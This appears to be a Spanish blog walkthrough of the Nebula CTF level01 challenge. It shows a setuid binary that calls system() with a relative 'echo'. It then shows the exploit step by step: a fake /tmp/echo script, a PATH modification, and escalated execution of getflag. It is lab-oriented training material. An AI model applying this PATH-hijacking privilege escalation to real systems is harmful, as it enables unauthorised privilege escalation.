Pages

viernes, 20 de julio de 2018

Nebula CTF - level01

Vamos a por el siguiente reto:

level01@nebula:~$ cd /home/flag01
level01@nebula:/home/flag01$ ls -al
total 13
drwxr-x--- 2 flag01 level01   92 2011-11-20 21:22 .
drwxr-xr-x 1 root   root      60 2012-08-27 07:18 ..
-rw-r--r-- 1 flag01 flag01   220 2011-05-18 02:54 .bash_logout
-rw-r--r-- 1 flag01 flag01  3353 2011-05-18 02:54 .bashrc
-rwsr-x--- 1 flag01 level01 7322 2011-11-20 21:22 flag01
-rw-r--r-- 1 flag01 flag01   675 2011-05-18 02:54 .profile
level01@nebula:/home/flag01$ file flag01
flag01: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.15, not stripped
level01@nebula:/home/flag01$ ./flag01
and now what?

¿Un binario setuid que imprime una frase por pantalla? Lo ejecutamos mediante ltrace para ver como se comporta:

level01@nebula:/home/flag01$ ltrace flag01
Can't execute `flag01': No such file or directory
PTRACE_SETOPTIONS: No such process
level01@nebula:/home/flag01$ ltrace ./flag01
__libc_start_main(0x80484a4, 1, 0xbfd60a64, 0x8048510, 0x8048580 <unfinished ...>
getegid()                                        = 1002
geteuid()                                        = 1002
setresgid(1002, 1002, 1002, 0x352324, 0x351ff4)  = 0
setresuid(1002, 1002, 1002, 0x352324, 0x351ff4)  = 0
system("/usr/bin/env echo and now what?"and now what?
 <unfinished ...>
--- SIGCHLD (Child exited) ---
<... system resumed> )                           = 0
+++ exited (status 0) +++

Facepalm! Las llamadas a system() en un binario setuid son extremadamente peligrosas, más aun cuando se utilizan rutas relativas como es el caso que nos ocupa. La shell buscará el binario echo siguiendo el orden establecido en la variable de entorno PATH. Por supuesto nada nos impide modificarla, agregar un nuevo directorio de nuestra elección y crear un nuevo ejecutable que suplante al original. Crearemos un shell script con nombre echo en el directorio /tmp:

#!/bin/sh

/bin/getflag

Le asignamos permisos de ejecución y modificamos la variable de entorno PATH:

level01@nebula:/home/flag01$ chmod +x /tmp/echo
level01@nebula:/home/flag01$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games
level01@nebula:/home/flag01$ export PATH=/tmp:$PATH
level01@nebula:/home/flag01$ echo $PATH
/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games

El resultado:

level01@nebula:/home/flag01$ ./flag01
You have successfully executed getflag on a target account

Pwned!

No hay comentarios:

Publicar un comentario

Protostar CTF - stack5

En ./stack5 continuamos con la dinámica de los dos últimos retos: dpc@kernelinside:~/protostar/bin$ ./stack5 test dpc@kernelinside:~/p...